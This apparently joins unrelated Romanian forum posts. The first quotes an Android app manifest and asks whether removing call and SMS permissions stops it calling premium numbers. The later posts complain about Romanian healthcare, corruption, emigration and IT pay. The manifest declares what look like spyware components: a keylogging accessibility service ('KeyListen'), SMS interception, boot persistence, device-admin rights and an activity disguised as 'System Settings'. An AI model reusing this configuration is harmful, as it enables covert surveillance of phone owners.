android:name="android.permission.BATTERY_STATS" /> <uses-permission android:name="android.permission.WRITE_SETTINGS" /> <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN" /> <uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.CAPTURE_AUDIO_OUTPUT" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" /> <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" /> <uses-permission android:name="android.permission.BLUETOOTH" /> <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" /> <uses-permission android:name="android.permission.RECEIVE_SMS" /> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" /> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" /> <uses-feature android:name="android.hardware.camera" /> <uses-feature android:name="android.hardware.camera.autofocus" /> <application android:allowBackup="true" android:label="@string/app_name" android:theme="@android:style/Theme.Translucent" android:icon="@mipmap/Icon"></application> </manifest> Practic eu am sters din AndroidManifest.xml aceste linii fiindca nu vreau sa trimita SMS/CALLs catre numere cu taxa inversa: <uses-permission android:name="android.permission.CALL_PHONE" /> <uses-permission android:name="android.permission.SEND_SMS" /> E bine asa doar ca le-am sters pur si simplu sau trebuie altfel? Daca las liniile de cod, adica functiile care face CALL_PHONE si send_SMS tot mai poate sa trimita SMS si CALLs catre diverse numere sau nu mai poate? Dar in versiunile mai vechi de Android se poate sau nu se poate? Totusi, dupa ce il compilez asa, indiferent ce as face, in AndroidManifest apar aceste linii care nu stiu daca nu cumva ii dau inapoi permisiunile de SEND CALL & SMS. Asta apare la decompilare: <application android:allowBackup="true" android:icon="@mipmap/icon" android:label="@string/app_name" android:name="android.app.Application" android:theme="@android:style/Theme.Translucent"> <receiver android:name="izci.AdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN"> <meta-data android:name="android.app.device_admin" android:resource="@layout/admin"/> <intent-filter> <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/> <action android:name="android.intent.action.MAIN"/> </intent-filter> </receiver> <receiver android:directBootAware="true" android:enabled="true" android:name="crc646c638bcfc2425995.BootReceiver"> <intent-filter android:priority="1000"> <action android:name="android.intent.action.BOOT_COMPLETED"/> <category android:name="android.intent.category.DEFAULT"/> </intent-filter> </receiver> <service android:label="@string/app_name" android:name="crc646c638bcfc2425995.KeyListen" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> </intent-filter> </service> <receiver android:name="crc646c638bcfc2425995.PhonecallReceiver"> <intent-filter> <action android:name="android.intent.action.PHONE_STATE"/> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter> </receiver> <activity android:alwaysRetainTaskState="true" android:excludeFromRecents="true" android:icon="@mipmap/icon" android:label="@string/app_name" android:name="crc646c638bcfc2425995.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <service android:label="@string/service_started" android:name="crc646c638bcfc2425995.ForegroundService"/> <activity android:excludeFromRecents="true" android:label="System Settings" android:name="crc646c638bcfc2425995.screenActivty"/> <receiver android:name="crc646c638bcfc2425995.ScreenStatus"> <intent-filter> <action android:name="android.intent.action.SCREEN_OFF"/> <action android:name="android.intent.action.SCREEN_ON"/> <action android:name="android.intent.action.USER_PRESENT"/> </intent-filter> </receiver> <receiver android:name="crc646c638bcfc2425995.SMSBroadcastReceiver"> <intent-filter android:priority="1000"> <action android:name="android.provider.Telephony.SMS_RECEIVED"/> </intent-filter> </receiver> <provider android:authorities="com.device.settings.mono.MonoRuntimeProvider.__mono_init__" android:directBootAware="true" android:exported="false" android:initOrder="1999999999" android:name="mono.MonoRuntimeProvider"/> </application> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> Ce face linia asta din AndroidManifest.xml nu cumva ii da iaras abilitatea de a face Phone CALLs? Ma poate ajuta cineva, va rog frumos? Multumesc mult de tot!
-
Nu o sa-ti vina sa crezi dar exact asa am patit si eu si asta dupa ce cotizezi cu un sac de bani (LUNAR!!!). Nu mai zic ca daca lucrezi cu contract pe perioada limitata si cotizezi in toti acesti ani dar nu ai nevoie de nimic, atunci cand ai si te duci ti se spune cu zambetul pe buze "pai da, da' nu mai sunteti asigurat". Si chiar daca esti asigurat patesti exact asa cum zici tu. Mai sunt si exceptii, e adevarat, dar sunt foarte putine. Cred ca stiti cu toii ca daca ai nevoie de un RMN te programeaza peste 1 an ca nu sunt locuri. Peste un an de zile uiti si ce problema aveai de voiai sa-l faci. De cate ori nu m-am sculat cu noaptea-n cap ca sa-mi iau bon de ordine si bonurile erau deja date (date pe sub mana de catre gardian cu o zi inainte ca l-am vazut cu ochii mei) si tu stai ca prostu' si cotizezi. Nu o sa-ti vina sa crezi ca acum, la Iasi, ii trimite inapoi acasa ca cica nu au programare si le face programare si sa vina peste 1-2 luni cand ii programeaza. Asta cu maini si picioare rupte. Iti vine sa crezi asa ceva? Programare pentru picior rupt? Adica tu ar trebui sa stii dinainte cand vrei sa iti rupi piciorul ca sa-ti poti face programer din timp sau cum vine asta? Vorbesc foarte serios. Chiar asa se intampla. Nu mai spui ca ala care a dat peste tine nu pateste nimic si e tot vina ta, ba poate te baga si la platit daune ca i s-a indoit tabla masinii putin atunci cand a dat peste tine. Natura e frumoasa dar pacat ca se distruge si asta din ce in ce mai tare si se defriseaza tot, mizerie peste tot etc. Exact asa si eu! Te saturi sa tot vezi atat scarba, ura, invidie, nepasare si nepotism la cote maxime. Oare asa sunt si nemtii sau cei din Norvegia, Suedia, Finlanda, Islanda, Anglia, Irlanda etc.?... Si chestia asta nu o gasesti doar la spalatorie, Este PESTE TOT si in orice domeniu. @LinkAggregation De curiozitate, tu in ce tara traiesti acum? Ai de gand sa pleci? De ce nu ai plecat pana acum si ce ai de gand sa faci ca e clar ca daca iesi la vot si de 10.000 de ori tot nu se va schimba nimic?
-
Ce vei face atunci cand ti se va impune acest lucru sau cand vei vedea ca nu merge altfel decat daca "ungi mecanismul"? Si daca femeile alea frumoase de care zici nu se uita la tine? Ai bani si bei bautura ca sa nu iti dai seama ca esti nefericit? Si daca sunt frumoase si stii ca se uita la tine doar fiindca ai bani te simti bine? Citeam un blog (opencube) si cel care scria acolo este tot in IT. Stii cat lua in mana, ca a pus si poza cu acte doveditoare? 10.000 de Lire pe luna. Ce parere ai? Tot e mai bine in Romania? Deci peste 30-50 de ani vom trai bine in Romania. Ok. Incurajator. Ce te face sa spui ca Romania evolueaza spre bine si ca peste 30-50 de ani se va trai bine din moment ce au trecut deja 30 de ani de democratie si s-a furat si se tot fura pe rupte si se distruge tot, se construieste haotic in detrimentul spatiului verde, se defriseaza la modul cel mai agresiv si se distruge tot ce se poate? Deja sunt multi pensionari per cap de om care munceste, urmeaza sa iasa si valuri intregi de decretei la pensie si deja sistemul de pensii este praf, crezi ca vei avea batraneti linistite in Romania? Plus ca cei saraci sunt din ce in ce mai multi si vorba aceea "multi da' prosti" una doua se unesc intr-un scop comun si o pun de un comunism/socialism la cote maxime. UE nu face prea mare lucru si nu prea cred ca ar trebui sa ne bazam prea mult pe UE si NATO fiindca astea isi vad doar propriile interese. Ce a facut UE in cazul lui Erdogan sau in cazul Ungariei? Crez ca isi va bate capul cu vagauna asta de tara din moment ce au ajuns si ei la fundul sacului? Ce a facut NATO cand Ucraina a fost invadata de Rusia, asta dupa ce Ucraina a renuntat la armamentul nuclear la insistentele NATO si i s-au facut promisiuni ca va fi aparata in caz de ceva? s.a.m.d. @Nytro @Dragos Cat luati net pe luna de curiozitate (nu-i nevoie sa spuneti, poate doar orientativ daca vreti)? Daca se vor aplica iarasi taxe in IT veti pleca? In 2017 un salariu de 20.000 de lei era peste 5000 de euro, acum este cu ~30% mai putin, asta nu iti sugereaza ca Romania si salariile chiar si marite si/sau netaxate in intregime nu este rentabila fiindca pierzi la devalorizarea leului? Ce parere aveti despre tot nepotismul asta scarbos din Romania si despre majoritatea oamenilor care sunt prosti, rai, rautaciosi, invidiosi si asa mai departe? De unde si cum se va ridica Romania?